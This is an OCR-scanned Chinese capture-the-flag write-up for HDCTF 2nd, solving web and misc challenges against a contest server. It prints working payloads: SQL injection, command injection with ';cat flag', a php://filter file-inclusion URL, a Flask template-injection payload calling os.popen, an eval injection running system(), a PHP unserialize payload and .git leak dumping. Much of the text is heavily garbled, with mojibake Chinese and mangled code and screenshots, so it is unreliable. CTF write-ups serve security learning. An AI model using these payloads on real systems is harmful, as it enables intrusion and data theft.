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WRER

HDCTF_2nd, ¥R KRN . BRITH, ZATENEIER. RIPAKTALEH. B Gamous &5 %
BAPIRT . LLEMNER ., FEREBERKBELUEE Hwp. S EE HwpiTa:
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https://wws.lanzous.com/i7HmLhmw18f
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signin:

Bz BASEG4:

HDCTF{c7cedf2d891f0ef68ce8cdeecdbd2cc3padding} ; SERDVEZTYzd[ZTImMmQ4OTFmMGVmMNjhjZThNGWTYzRiOTJjYzNw
BASE64%itd > YWRkaWsnfQ==

FTHAMI, FEARE, baseb4fiid
babysql(ACTF##):

XEE, —IFEUCRRAEN, —N—ikload file'information_schema'. &ty T L KT, FRMEES
HEN, EHEEselectBI ], Fifn (kIR 1)t 2

BREFBRRE=AZE, BEEEHfaghim,

1' union select 1,2,flag from flag#
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https://so.csdn.net/so/search/s.do?q=%25E4%25BA%25BA%25E6%259C%25BA%25E4%25BA%25A4%25E4%25BA%2592&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=xss&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=wireshark&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=archlinux&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=nagios&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38154820/article/details/109349267
https://blog.csdn.net/qq_38154820/category_9308464.html

BF4E: aaa
=75 aaa

AREEES

setectflag-from-fag

id: [1" order by 34 |

| Submit |

Bra: 2
=43 HDCTF{ACTF_baby_baby_baby_sqllll}

AREERES

selectflag-from-flag

id: |-1' unicn select 1,2 flag from |

| Submit |

babyrce(ACTF;i"E):
BB, ERE R rce, ./ HiRE EHEZ, flagehflag>C .

PING

127.0.0.1;cat ./..[.flag

FPING

HDCTF{ACTF_command_exe_hhhhhh}

easygit(ACTF):

: # python GltHack py http //8.129.15.153:20003/.git/
[+] Downlnad and parse index file ...
flag.php
index.php
[ok] index.php
[oK] flag.php
g # cat 8.129.15.153_20003/

flag.php  index.php

# cat 8.129.15.153_20003/flag.php
<?php

$flag = "HDCTF{ACTF_.git_leak_is_dangerous}";

gititt#&, github LIRATHR, T 7S E#cat flagiild 1
backup_file(ACTF&):



index.php.bak, #4304, WIEIFELSLME T, #Wik?key=123817]

Task Completed

C:slUsers*Administrator Desktopsdirsearch-A.4. 8 dirsearch-8.4.@8>python dirsearch.
py —u http:/-8.129.15.153:20084/ — php_
T — e ——

index.php.bak X

C: » Users > Administrato

% RNiZ 2 phpds k7Y
SHEPNBEEH:

https://www.cnblogs.com/Mrsmlth/p/6745532.html
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0x02 A7
phpFEFRMLEHFE == 5 ===

1 <?php

2 %a = tb
3 $a===%Db
4 7>

=== ER TR R | SARARTTENEEESHES | Bt

= EiTihRpE R | SR aERE{vaiERE |, Btk
NRE—TEHFIFFREERRERIHFARNEES | NFFreinEl G B S aE T

intval R $ B K E BT, BIBCFER 747 5 L.
fekey=123E0 ] Geid PR 1 .

A F22 | 8.129.15.153:20004/index.php?key=123

HDCTF{ACTF_DOn'T_FoRGeT_BacKuP_File}

easy_file_include(ACTF):
i EEES

http://8.129.15.153:20005/?file=php://filter/read=convert.base64-encode/resource=flag.php

R U ftips,  SCFRE php b th i B 3 2 B AT

A F=2=22 | 8.129.15.153:20005/?ile=flag.php

Can you find out the flag?

A A== | 8.129.15.153:20005/?file=php://filter/read=convert.baseb4-encode/resource=flag.php 1}]
PD9waHAKZWNobyAIQ2FulHIvdSBmaw5kIG91dCB0aGUgZmxhZz8i0wovLOhEQ1RGeOFDVEZRmkxZVIIbkNsVWRFX0IzX0VhU3I9

<?php PDowaHAKZWNobyAIQ2FulHIvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovLOhEQ1RGe
echo "Can you find out the flag?”; OFDVEZRmkaxcZV9)bkNsVWRFX0IzZX0VhU 319
[HDCTF{ACTF_File_InCIUdE_Is_EaSy}

do u know HTTP:

A getzFHainan_University, 4R J5 fEpostiE 32 HNuSecEl 7l . EMRIE &G —%, burpsuitedl&in bEhttpsk, ¥
MR, BIEBERRRZZESERIT T . B postiIiHEEbp—E AT, FhackbarZ ] LA



Name Value [ Add HTTP/L1 200 OK

Accept text/html, application/xhtmi+xml, application/xml:q=0.9.image/webp,*/* 8 ——— Date: Mon, 19 Oct 2020 DS:ISG:SS GMT
Accept-Language 2h-CN zh;q=0.8.2h-TW;q=0 7,zh-HK =0 5.en-US:q=0 3 en.q=0.2 | Remove |  Server: Apache/24.25 (Debian)
Accept-Encoding gzip, deflate u X-Powered- B}": PHP_{}.O. 33

Content-Type application/x-www-form-urlencoded ——— Vary: Accept-Encoding

Content-Length 13 | Down | (.Dntent—_Lengtllz 133

Origin http://8.129.15.153:20006 . Connection: close

Connection close Content-Type: text/html; charset=UTF-8
Referer http://8.129.15.153:20006/?Hainan_University=1

Upgrade-Insecure-Requests 1 </br>GET pass</br></br>POST pass</br></br>HTTP
Mg Mg v request header

AnuSec=HnuSec

erciyuan

Request

Raw | Params ]Headers ] Hex |

pass</br>HDCTF{U_must_konw_all_kinds_of network_pro
tocols_such_as HTTP}

T

Raw | Headers IHex ] HTML ;Rendev ]

GET /index.php?img="53307a4a7a637a544b38684c4277413d HTTP/1.1
Host: 8.129.15.153:20008

User-Agent: Mozilla/5.0 (Windows NT 6.1; Wine4; x64; rv:81.0)
Gecko/20100101 Firefox/81.0

Accept:

text/html application/xhtml+xmlapplication/xml;q=0.9,image/webp,*/*;q=0.
8

Accept-Language:

zh-CN zh:q=0.8,zh-TW;q=0.7 zh-HK;q=0.5en-US;q=0.3.en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

HTTP/1.1 200 OK —
Date: Mon, 19 Oct 2020 11: 31 16 GM
Server: Apa(hcfz4 25

Hint: THDCTF!. php && bin2Zhex(base64_encode(gzdeflate($file)))
Vary: Accept-Encoding

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 169273

<title=HDCTF2nd < /title> <center><h3>53307a4a7a637a544b38684c427
7413d</h3=<img
src="data:image/gif;base64,/9/4AAQSKZIRgABAQEASABIAAD/ARfk RXhpZgA

ATUOAKgAAAAGABGESAAMAAAABAAEAAAEAAAUAAAABAAAAV gEDAAUAA
AABAAAAXQEOAAMAAAABAAIAAAITAAMAAAABAAEAAIdpAAQAAAABAAA
AZgAAAMIAAABIAAAAAQAAAEGAAAABAAEQAAAHAAAABDAYMjGRAQAHA
AAABAECAWCgAAAHAAAABDAXM DCgAQADAAAAAQABAACGAQAEAAAAA
QAABobgAWAEAAAAAQAABLCkBgADAAAAAQAAAAAAAAAAAAAABGEDAA
MAAAABAAYAAAEaAAUAAAABAAABEAEDAAUAAAABAAABGAEOAAMAAAA
BAAIAAAIBAAQAAAABAAABIAICAAQAAAABAAAWUWAAAAAAAABIAAAAAQ
AAAFnAAAAR/GH 2uRNAANGRacGROaHPwe ICNDnKNDRONDAcI NRESFwAL THR

GET findex.php?img=7938784c 5361 23514b38676f4141413d HTTR/1.1 4
Hosl: 8.129.15.153: 20008

User-Agent: Mogzilla/5.0 (Windows NT 6.1;
Gecko/20000101 Firefox/81.0

Accept

text/himl, application/xhtml+xml application/§mkq - 0.9 image/webp,*f*q-0.
&

Content-Length: 1529
Connection: close
Content-Type: textfhtml; charset=LITF-8

S Kitm En

wesg

Gruow  Eitl DDoS / CCRif W] I

inBd; x6 neA10)

<ftitle>HDCTF2nd < ftitle> < center= <h3=7938784¢536)
1413d</h3><img
sre="dataimage/gif basetd, PDOwaHANCmVyom Sy X3
mimICghZnVuY3Rpb2siZthpc3RzKCdoXgyYmiulykplH
zh-CNzh;g=0.8zh-TWq=07 zh-HKq=05en-L GivbiBoZXgyYmiuKC RoZXhkYXRhEXsNCiAgICAgIC Riaw|
Accept-Encoding: grip, deflate oglCAgC Bmb3lg KC RpPTATIC RpPHNOcmedbigk aGVAZ G
Connection; dlose ﬂé iAgICAQICAQICAKYmluZGFOYSALPSBlaHIoaGVAZ GV
Upgrade-Insecure-Requests: 1 2 GFOY SwabcaSwiy KSkpOwOKIC AgICAgHQOKICAgIC Agom!
Cache-Control; max-age=0 hOWOKICAGIHONCHONCgOKaWY olWZ LbmNOaW ux 24
hleC cpKSBTTADKIC AgIGZ1bmNOaWSulG) pbiloZXgolHN:
ICAQIHNDCmwg PSEzAHISZWAR) HNDCk TLABKICAgICAg)
-\ OKICAQIC AgIC Bmb3lolGkgPTATIC RplDwog HNOcmw T IC
\ AgICAQIC AgICAKZmIuICAAGRIY 2hleChvemCol HNDE sk, I
ICAQIHOgDOOgIC AgIC AgTHAdHVybiAkZmiuOyANCiAg] . ) -
CkBaZWFkZXIo)0hpbnQalC FIRENUR EucGhwlCYmiGpl
2u¥ 2% ShnemRIZmxhd GUo)GZ phGUpKSkn KTsNCmi
FYFsnaW LnJ 10pEQOKIC AgIGhIYWRIcignUmVimemyzaDy
ValnBoc D9pbWc INTMzM DdhNGE3YTYZN2EINDRiVzZg o

Pl l Te Rl i Al TN en T Brarabam 7oA VDIV e 1 IRICGL 7Y EENES =

BIRY, BEBIRE. AFE—PSREENR], MFSER. BIER T 2640 K/NE FEEFEF 5 H A2 ek
%, HTAEIENEHNUSecH #k! . AR AT TE I hintBRATTE Y5 17 B'HDCTF! . phpXfF . #itiE
HnuSecHDCT FHnuSec.php ) 4 5 Bl 7] 21t

Accept-language:
q=03enq=02

Sbindata .= chrihexdecisubstr srrxm a,5i,2]]

return Shindata;




hex2bin(

(

bin2hex(

<7php DEFINECFLAG' 'HDCTF(8

hash_hmac:

MELJRERY, HELGTEIT . posttEx[]=QNKCDZO&y[]=aabg7XSs. %4 T 4™ flllllllillag.php, ¥ iHcat flag

mdb§gRA, HESIME

A ~== | 8.129.15.153:20010

Sx = $_POST['x'L;%y = $_POST['y'T;if($x!==%y && hash_hmac('md5’, $x, '******)==hash_hmac('md5’, $y, =*****"){die('flag is in ****** php');}




ﬁ A T2 | 8129.15.153:20010

flag is in flllNNINag.php

[w ﬂ Elements  Console  Sources MNetwgfrk Performance Memory  Application Security Lighthouse HackBar EditThis

LOAD SPLIT EXECUTE ENCODING ~

URL
http://8.129.15.153:20010/

enctype
Enable POST appli:ation/x-www-form-urlencoded ADD HEADER
Body
x[[=QNKCDZO0&y[l=aabg7XSs

A F2% | 8.129.15.153:20010/AlllNNlIag.php

HDCTF{9416f5bfeb51f5e788f30840a6b1d601}

welcome:

B4, admin/123456, HIEEIRAE AR ER. A catflag



A T2 | 8129.15.153:20014

m A F== | 8.129.15.153:20014

calculator_v1

flaski)— &, T #&HpythonXXft, EMAEFIISIE. EiEcat flaghimf



® app.py X

C: > Users > Administrator > Downloads > @ app.py > @ index

@app.route(
index()

@app.route(
source()

PISahRiTHER1.0

open('.fflag’).read()

HDCTFf{hello_python}




ezflask

BTANSEERE, BEREN. B 2EEEIE. MEEE T wpE payload.

https://www.k@rz3n.com/2018/11/12/%EA%B8%80%E7%AF%87%E6%96%87%E7%AB%AOKE5%BB%AEKEA%BDRAOKE7%90%86%EB%AT%A3%

{{config._ class__ . init . globals_ ['os'].popen('cat ./flag').read()}}

please input your name

_['os.popen{'cat ./flag’).read()}}

Hello HDCTF{hello_flask}

warmup

& HDCTF2nd Login x

€ G A == | 8129.15.153:20013

% | @ 127.0.0.1findex.php

(& () 127.0.0.1/index.php

welcome_to HDCTF2nd

getshell
getshell. HiduE. TWESHES, M/5H REREME.
BHEACERRTHE AR, 7ER/ERRE ) R



<php
fstr = $_POST[ =tr’];

ifiizzet (fatr)i {
fap P
flwr

F
e,

o

farr = =tr_replacelarray($kv, $epl, arravd” "=3"", 7", "), Tarray ("7 L fatr. 7))

gwal (“WFarr”. " = farr;”); \

telsze{
show_source(__FILE__):
!
[w ﬂ Elements  Console  Sources Network Performance Memory  Application Security Lighthouse HackBz

LOAD SPLIT EXECUTE sqQLi ENCODI

URL
http://8.129.15.153:20009/

enctype

Engzole POST application/x-www-form-urlencoded ADD HEADER

Body
str=");system('cat flag.php’);//

HEWEFH MR Lleat flaght, BIREHESflag T



ﬁ A F== | 8129.15.153:20009

[w ﬂ Elements Console Sources Network Performance h

LOAD SPLIT EXECUTE TEST -

URL
http://8.129.15.153:20009/

enctype

Enable POST application/x-www-form-urlencoded

str=");system(’cat flag.php');("

dudaima
getéhpasstE/ME, ARG RFFIMA. Hii 2 if B 214 BI AT
M AR T . 5 HREMMEERES S

https://blog.csdn.net/m15712884682/article/details/77350027



A A= | 8.120.15.153:20007 ?pass=0:8:"JustdFun":2:{s:5:"enter";N;s:6:"secret”;R:2;}

<Tphp
show_source(  FILE )
error_reporting (00 ;

include “1ib. php”:

class JustdFun |
public  fenter:
public §=zecret;

1
if{izset (§_GET["pa=s="1)) |
fo = unserialize(§_GET["pas="]1):
fo-rzecret = binfhex (random_bytes (256 ) e
if  (fo-rzecret === $n—>enter)!
echo  FLAG,
telsed
die(“secret or enter wrong!”);
I
lelsze!
diel*no paszz");
I

HDCTF{72595ef46cff90cchb8dd99a177721bc5)

@ 127.0.0.1/indexphp # indexphp X

0:8:"JustdFun®:2:{s:5:"enter";N;s:6:"secret";R:2;} D: » phpstudy_pro

bl

Ju‘tdFun{

T FHIwebfBi RAES T . BF JLiEflaskf & F511k, W LAEEE Hwp

2

MISC

BB

Hi#fiflag, ZFIEIH,



bt 56 Solves

i
& BlRR

50

TIAZSN"HDCTF 2nd" , 123 FERIAasFFE{RRIctiZ ik

IE ! HDCTF{welcome_to_hdctf_2nd}

Flag Submit

"“iblejgiz
P 2

Phak 36 Solves X

1E =T
¢VZZE£
100
EEELAISET T HEE , BaEE s TS
EE@%&EZE;HE%IAM¥%E%mTEP =)
SR EEEREUELE | RS S HIF TR

FmF ? EHFz— anpﬁ‘jﬁ#ﬁ:‘*@ﬂﬂ  REEE—TF
T, {FEEEE RN Mag !

* really_zip

Flag Submit

B 004T FF

B I R ey

840n: (87) 43 FO 7F 86 B4 1F OA E8 F6€ F1 A8 8E CE 49 Bl
850n: S& CE 14 FA 2C 6& 05 75 54 51 58 1B 05 14 51 40
860nh: 05 14 51 40 1F FF D3 3F 00 14 00 01
870n: 00 08 00 AE B2 2D 51 AD BB 4B 20 2D A8
880n: B4 01 00 1C 00 24 00 00 00 00 0O 0O
890n: 00 00 00 00 00 32 30 31 37 30 3
8AOR: 38 31 31 37 36 33 33 35 37 36 38 2E €A 70
8BOR: €7 OR 00 20 00 00 00 00 01 00 18 00 &B A9 &C
8COn: 2A D9 89 D6 01 2A 5D 1F EA D9 89 Dé 01 69 3C 54
8DOn: 8E D8 89 D6 01 50 4B 05 06 00 00 00 00 01 00 01
AFan: 00 6E 00 00 00 67 A8 01 00 00 00

34 38

uuuuu T e

[#ta T, .e60° ZEI:l:
si.a,3. uTQX . .RE

..0f. Uil . . .
...@‘—Q—»K == il
LBl
..... 20170622149
B8117633577568.7p
“lcc cooocooooc =B
*UEG. *] . &R0, i<T
Zonb.PR. .. e

S 1 IR

'f/J\ %[I ﬁ ISbEﬁ ,a lLl\
HIsb&ARRS, F#R7zRIA]



T
| ] - =R X
Extract Preview
37T7abcafi71c0004 2fabff3d10000000 :
000000007a000000 00000000fad343al EE
0f34ffb50beffbd> 96£34530db863bdEf
01040600010%91000 0T70b0O100022406f1
070112530£f8ckbd3b a07£31003434%a653
6£55 008
0all 10 R T
3100 1.3.1.4. #.#.#.¢
3200 2.6.2. t.x.t
19020000140a0100 £15ba75b0c94de0l ........ [.1
Bit Planes Order settings
Alpha 7 ] 5 4 3 2 1 0 Extract By = Row Column
Red [ 6 5 4 3 2 1 [¢]0 Bit Order @® MSB First LSB First
Green 7 ] 5 4 3 2 1 [v]0
Bit Plane Order
Blue 7 ] 5 4 3 2 1 [v]0O % RGB GRB
RBG BRG
Preview Settings GBR BGR
Include Hex Dump In Preview v
Preview Save Text Save Bin Cancel

JERRAE TR, BRXHBAD, HIREIARERCre32, RIEB THLth AR

verification
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:
alternative:

checksum:
2zmzNu
Fc_nuX
MtE2Q8
SUhLp?
WRuMgZ
ZAL3cL
aukigu
hcsggs
ic2UjdJd
k_7H3U
lgnfpd
nfz4fiu
o?Ydep
rhiiTa
rxDT?i
yRYDug
zrR75A

COK>
COK>
COK>
COK>
COK>
COK>
COK>
COK>
COK>
COK>
COK>
COK>
COK>
COK>
COK>
COK>
COK>

‘reciprocal’ .

C:xUzerz Administrator~Desktop crc3i2-A.1>

E EES: C:\Windom\systemSZ\cmd.ex- I I
-

(choose from *flip’.

‘table’ .

‘reverse’ ,

‘undo’ .

C:slzerzsAdministratorsDesktop crc3i2-B.1>python crc3i._py reverse BxYhalbhZ?
4 hytes: {Bxcl. Bxad. Bx37. Bx6bh>
@x7ha3bbh2? (OK>

FELLFH R BT RS RAT T, J5RIE 2L KR A R AT (AR B E 75 wp)




# python c

cl:', "18975')
# vim crc.py
# cat crc.py
import binascii

def str2num(s):
return int(s, 16)

'1234567800"

@x7BA3BB27
X in di
for a in dic:

for b in dic:
for ¢ 1in dic:
for d in dic:
= x+a+b+c+d
€32('131"+str+'262') & Oxffffffff

if (str_c
print("cr

i1

girifriend:
FHHTTPY &, EHEKKZE . THE2flag

BB Qe=s=]
1 -] mitst +
Ho. Time Source Destination Frotecal Length Infe -
\ 466 6.238735 39.167.127.44 192.168.192.128 TP 1514 BBB3 = 52986 [ACK] Seq=453734 Ack=1888 Win=64248 Len=1468 [TCP :
* 467 6.238753 39.187.127.44 192.168.192.128 TP 1514 BBE3 - 52996 [ACK] Seq=455194 Ack=4808 Win=54248 Len=1468 [TCP «
+ 468 6.238754 39.167.137.44 192.168.192.128 TP 1514 BBB3 = 52986 [ACK] Seq=456654 Ack=1B88 Win=64248 Len=1468 [TCP :
469 6.238754 39.187.127.44 192.168.192.128 ICP 1514 BBE3 » 52986 [ACK] Seq=45B8114 Ack=1808 Win=54248 Len=1468 [TCP
478 6.238755 39.167.137.44 [ Wireshark - 241 . HTTP R@FI= l=li e | Seq-459574 Ack=4808 Win-54248 Len=1468 [TCP
471 6.238755 39.187.127.44 e Ry ST e T — 1§ Seq-461034 Ack-1808 Win=54248 Len=1468 [TCP
472 6.238756 39.167.137.44 w8 =NE Jr—— oy p— Seq-462494 Ack=4808 Win-54248 Len-1468 [TCP
473 6.238756 39.167.127.44 49 30.107.127.44:8083 text/htrml 424 bytes \ Seq-463954 Ack-4808 Win-64248 Len-14568 [TCP :
474 6.238757 39.187.137.44 56 39.107.127.44:8083 apphicationfjson 1850 bytes config ACK] Seq-465414 Ack-4808 Win-64248 Len-932 [
475 6.238803 192.168.192.128 58  39.107.127.44:8083 apphicationfjson 275 bytes D8ir Seq-488 Ack-466346 Win-64248 Len-8
476 6.239562 39.167.127.44 84 1448083 imagefuicon  32kE  fmiconico Seq-466346 Ack-2808 Win-64248 Len-1468 [TCP
A77 6.239562 39.187.127.44 87 39.107.137.44:8083 applicationfjson 158 bytes D8ir Seq=467806 Ack=-4808 Win=-54240 Len-1468 [TCP 4
478 6.239563 39.167.127.44 |478 39.107.127.44:8083 imagefipeg  45BkE  VIuSUIUFZPbUAssign=4aXsxT¥hmTwa0EChK20ko2s3mIMKIMEG) | BIPEG IFIF image)
ATY h.2739RAF 192.168.192.128 | | Sen=ARAR Ack=A4705A7 Win=R424A | an=R 4
1 -

Frame 478: 1295 bytes on wire (18368 bif
Ethernet II, Src: Vmware _e2:ad:e6 (00:58
Internet Protocol Version 4, Src: 39.187
Transmission Control Protocol, Src Ports
[327 Reassembled TCP Segments (458622 byl #105(1460), #106(1220), #112(1412), #113(1468), #
Hypertext Transfer Protocol i

JPEG File Interchange Format

EIEE:

IE
13
T

Frane (1755 bytes) | Beuszambled TCP (ASBBZZ bytas)
P girlfriend peapng 4. S05 - DET 505 (100,0%) BT Defuulr
=




- Deskiop > ajpg [1/2] - EERIEE 5.32 ® _ D
B exr sy OfEsmy #5v @Ev =@y =0

’ehd}

CTF{do_y_ou_

s

http://www.zhongguosou.com/zonghe/moersicodeconverter.aspx



A\ ERETRE ( MIERERER | Morse code ) E—ITENFNESHE  =RES
}\A g2, BFrsasE ca=EATEEERAN | SaMEEiESamuel Mo
www.zhongguosou.com X . EIMEERETRSIMEERE. WEE T SrLIEEHTERSRENSE , TFF
LFEER > - EREREEE

S

OESE2E36EES 361 3FFOATIDF449E T TE2F

A
| gimnEmems | | Bk | ssEramssEss: @sgeiE OslsE

EEHAERIS (R A= sl fReEEREl  BHa A B )

| simnsr=rm |
=t KBS AEV=E , BEERAERE  ERvEEAERE. TEREEXER A\ EfE

TFERN TR
leet,133t. BEIEF . wikib®—T. AXHER, ALK MG

http://www.englishcn.com/tools/Leet.htm
http://output.jsbin.com/IHoFuQE/1
https://www.dcode.fr/leet-speak-1337
http://www.toolsxx.com/code/1337.html

https://1337.me/
https://www.gamehouse.com/blog/leet-speak-cheat-sheet/

4 SHERES HE | SHTEEE UnicodeITREH,

FTFHAELeetEiE 22
ERLeetREFRNBRER | RHRARILEE—niEs , Blt— B sESleetis, LEA26[ETSBE6], MEMLectRHFaE :

A B € D | E | F G H | )| K| L* M N o] P Q R | S ™ u | v w X Y | =
q g ol 3 = 6 # 1 i RE 1 I+l Vi i |+ )| [ ki Q| V| v > i
AN 13 [e| D & b & | /- I S| [£ [v1 15l 0 lo O_ | 1™ ] s + 1| 1f v kS i
@ [3] | (<] (<1 | [£ [# )+ ]| 3 & |1 [T W | /v | oh s 0 12 (=] [EEH (=) (] W H )=
=N [ (| le € ph ] 1-[ i < |1 1_ em 4] 1 ? <| /2 § 1 L| s ecks 7 %
- P || D & = | ¢ | - | 3] LIx | Ab [4 "R (Y] |“ | ehs "1 M W ® A/ | o
aye | I - v gee (=) | eve | (/ I_ V1 {4} < 1> 1z | es r A\ ? ¥
L 13 [=)| [[= (? | == | 393 el | /AN | IV | |9 t dubya )
o 3 ? i, I"0]| (3 n_| @ | /0 9 2 | (n) 10
/3 9] i 15l ] . () /v (1D 12 WY H
13 I7 = | 170 | /me A5 H | L \ES
|-1 cl (. H LAY . ki [z W/
1-1 - A I
1-1 /171 .- \_:_f
v Iz |2 ?
I+1 RYAN |- un
? I 2u

=1
*TEFEL, T, YV 29/HFR, Z; £ TREE, L; 9 FIRG, P 1 EIREEL L, T j B, Y & EIREEE. G | IHEA, L BSh,  eUSEneTaimetk.

ErRA:



TFRP
150

BiR (F=F1) 255=, FEEETaEA . mX (5=
FH) BROMENES 7. 8% (=FK8) IBEILF—
AESBETFRE , ATESEEARRE  liMmATt=x
B, XAZSUTELFRRSIEEIE | (EfRFmETEE
XEBEITEFNIET=RENLC. ATESX (=%
B) | LREEEICE, NYERPRXEBETHEART
FEER |, BX (F=FH) BiE 7 AR EEEEFTSIE
T, RIFRFUREFT A AEEBEEY,

Flag Submit

A, X REZH, tab, #ATHR. 7R £ white-space

| M#HP SE0 SRS ZEM BERG TR SaD)  FEEIH F=F4 - Visual Studio Code [ZE...

LFRB X

> Adminis

179204, 5 1 (BiEETo2e==E

TAFEL K M BBk 5 7T U E A%, B0 X gayhub B3RA.



https://viiSard.github.io/whitespace/

& viidard.github.io/whitespace/

Files example/hworld ws Debug
[Hew] [Fun] [Optimize] [XIHighlight [Download] Filetype: [Whitespace] [ HELF ] [Bun] [Step] [Stop]
[ bf. ws push T9
B bf. wsa printe
[ cale. ws push 111
B collatr. wsa printe
[ count. ws push 107
[ fibonacci. ws printc
[ hanoi. ws push 46
By hmacro. wea printe
[ hworld. ws push 32
B libfalias. wea printe
B Lib/math. wsa push T8
B lib/rotld wsa printe
By lib/=td wsa push 111
B lib/=tring wza printa
[ name. we push 107
[ nerd we printa
B nerd wsa push 46
™ quine-2. ws - printe
™ quine. ws push 32
m‘ Console Memory printc
[Clear] push 79
A i L Ll Cih Ciin din deen i e e e inte
Dol Ook. Oolk. Oclk. Dok Ook Ock. Ook Ook! Dok Dok Ook Dok Ool Dol - l’;:;i 111
Dok, Oock Ook Ook 0ok Ock Ook Ook 0Ock Ook! Dok Ook? Dok Ook Ook printe
Dok, Ook Ook Ook 0ok Ock 0Ock Ock Ock 0ok 0Ock Ook Ook Dok Ook! push 107
Dolk? Ook! Ool! Ocl. Ook? Ook! Ook! Ook! Ook! Ook! Dok! Oolk! Ook! Ook! Ook! printe
Dolk! Ook! Ook! Ocl! Ook! Ook! Ook? Dok Ook? Ook! Dok Ook? Ook! Ook! Ook! push 48
Dolk! Ook! Ook. Ook? Dok Oek Ook Ook 0Ock Dok 0ok Ook 0ok Ook Ock printe
Dok, Ock Ook Ock Ook! Ock? Ook! Ook! Ock. 0ok? Dok Ook. Dok Ook Ock push 32
Dok, Oock. Ook Ock 0ok Ock 0ok Ock 0Ock 0ok? 0ok Ook? Ook! Dok Ook? printe
Dolk! 0ok Ook Oock Ook! Ock Ook 0ok 0Ock Dok 0ok Ook 0ok Ook Ock push 79
Dol Ook! Dok, Ook! Ook! Ook! Ock! Ook! Ook! Ook! Dok! Ook! Ock! Ook! Ook! printe
Dole! Oole! Oolk! Dok Ook? Oek Ook Ock 0ok Ool 0ok Oolk Ool Oolk Ool! push 111
Oolk? Ook! Dolk! Oolk. Ook? Ock 0ok Ook 0Ock. Ook Ock Ook Ock Ook? Oolk. printe
Dok? Ook! Oolk. Ook? Ook. Ook Ook. Ook Ook. Ook Ook Ook. Ook Ook Ook push 107
Dol Ook! Ool. Ook? Oole nrinte v

OOk B £ % s vl

https://www.splitbrain.org/services/ook

All the hard work (like actually understanding how those |
and his Brainfuck interpreter in PHP

flag {in0thing_i=_everyThing}

Text to Ook! || Text to short Ock! | | Ookl to Text |
Text to Brainfuck | | Brainfuck to Text |

RER T fRdnshg ?



b2 [ $.57 28 Solves

{RER/ T #dnsiE
150

0 : hdctf.0x00work

NEEFRIAE T RS FEEMENEE | BRFEAF—
IMEEE HOETE LN  S=NtNESEEEHTANE

f=r=¢—o

DJFIE|D

Flag Submit

nslookup -type=txt hdctf.0x00.work, B #% Flflag

dnsHitypeR ~dnsHI il 2 2

| by BTES: Windows PowerShell
L c—

PowerShell i
_ﬁ ¢G> 20887 Microsoft Corporation, 1% l;;a ATH

UnKnown
1A.1484.5.3
-work text =

"HDCTF{YBu_KnBw_dNs_4311>"
PSS C:slUserssAdministrator _

nospace
FRFHRE

fil B SR w2 password, #f%admin: https://offdev.net/demos/zwsp-steg-js



Authentication

= al Elements onsole  Sources  Network  Perfgimance Memary Application  Securit ghthouse  HackBar EditThisCookie ~ HackBar

&#8203; 528203 ;588203 ;488203 ;&1rm; &zw] ;Brlm; 538203 ;828203 ;438203 ;448203 ;8rlm;Szwn] ;81 rm; 548203 ;48203 ; 548203 ; 588203 ; 8zw] ; &rim;&rlm; &#8203 ;845203 ; 348203 ; 848203 ;&zwnj ; 8rlm; &1rm; 528,
3;8#8203;81rm; &zwn] ;&rlm; &R8203; 848203 ;848203 ;488203 ;&zw] ; &rlm;Szwn] ;R#8203 ;428203 ;828203 ;488203 ; 8zwn ] ; &rlm; &rlim; &88203 ;4R58203 ;528203 ;848203 ;81rm; 828203 ;81rm; 228203 ;528203 ;458520!
wnj;Bzw];A48203 ; 448203 ;8458203 ; A#8203 ;&=w] ; A4#8203 ;&2wn] ; A¥E203 ;48203 ;448203 ;4%6203; B1rm; &rlm; &rim; &#E203;A4B203 ;248203 ;8458203 ; Azw] ;A48203 ;446203 ;#8203 ;4458203 ; A¥8203 ;848203 ;A1rm,
©3;5#8203;883203 ;883203 ;&r1m; &rlm; &zw]; 548203 ;488203 ;528203 ;428203 ;8zw] ;81rm; &rlm ;343203 ;558203 ;538203 ;588203 ; &zwn] ; &rlm; &rlm; 458203 ; 5#8203; 4#8203 ;848203 ; 81rm; &zw] ; 348203 ; 438203,
#B3203;&1rm; &zw]; Gzw] ; R28203 ;588203 ;485203 ;845203 8r1m; &zw] ;Azwn] ; E#E203 ;8248203 ;828203 ;428203 ; &zwn ] ;&rim;8lrm ;225203 ;428203 848203 ;4858203 ;8 rm; &rim; 81rm; 425203 ; 225203 ; 845 203 ;8882
m;B#B283; 48203 ;888203 ;#8203 ;82w ;Bzw] ;Bzwn] ; A#E203 ;E#B203 ;#6203 ;885203 ; Bzw] ; Bzw] ;Bzwn];

P iscriptrad/script

FLAN
TR, BFTWpERARERE, WT—TFHEA. dffTEMEETE. RABIT, BRATKRS. 66

stegsnow. snow=%

HEAE 0 Solves X

—+

51

200

FEAGRYVNEE TN EBY | BARRATETIEEAE .,
REE—REERE | RESHNtREeESA | B
SEPHRSRIEESM , RS | HEIT/ K
BE , SHEUR | AEAEAZ G ENR , T ,
TEARAT. FREN, SETs L L ERE, B
1 © http://8.129.15.153:20018/

L}

%
%

Flag Submit

FfEL T AdIffBI T .



tool.chinaz.com/tools/diff/

- AoEL]

0.
Bl.
g2,
B3.
B4,
BE.
8.
BT.
B8.
B9,
an.
a1
az.
93,
a4,
95,
94,
a7,
98.
a8,
100.
101,
Loz,
103,
104,
105.
L06.
107,
108,
109,
110,
111,
112,
113,
114,
1185,
116.
117.
118.
118,
120,
121.
122,
123.

e Y L ey e g
{div style="text-al rright ;">
dimg sre="./BETE? REWNSLEREL, B2 RHEM—LW _file
<fdivy
{table style="fomt-size:ldpe margin:20px auto;padding: 16px 48px 15py
{thody>

ftde
td style=

{input id="werify” name="verify" onkeypress="procenter (e

rext—align: left ">

<img id="kaptcha” sre="https://www. jfdaily. con/news/
<span style="font-zize:12px:color:#878787  cursor:pod
rdr
it
Ctr style="height:40px"
ftd>
